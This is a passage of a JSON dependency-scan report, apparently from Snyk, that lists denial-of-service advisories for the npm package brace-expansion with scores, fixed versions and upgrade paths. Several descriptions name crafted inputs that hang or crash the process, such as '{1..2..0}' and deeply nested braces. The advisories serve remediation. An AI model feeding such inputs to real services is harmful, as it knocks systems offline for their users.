"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
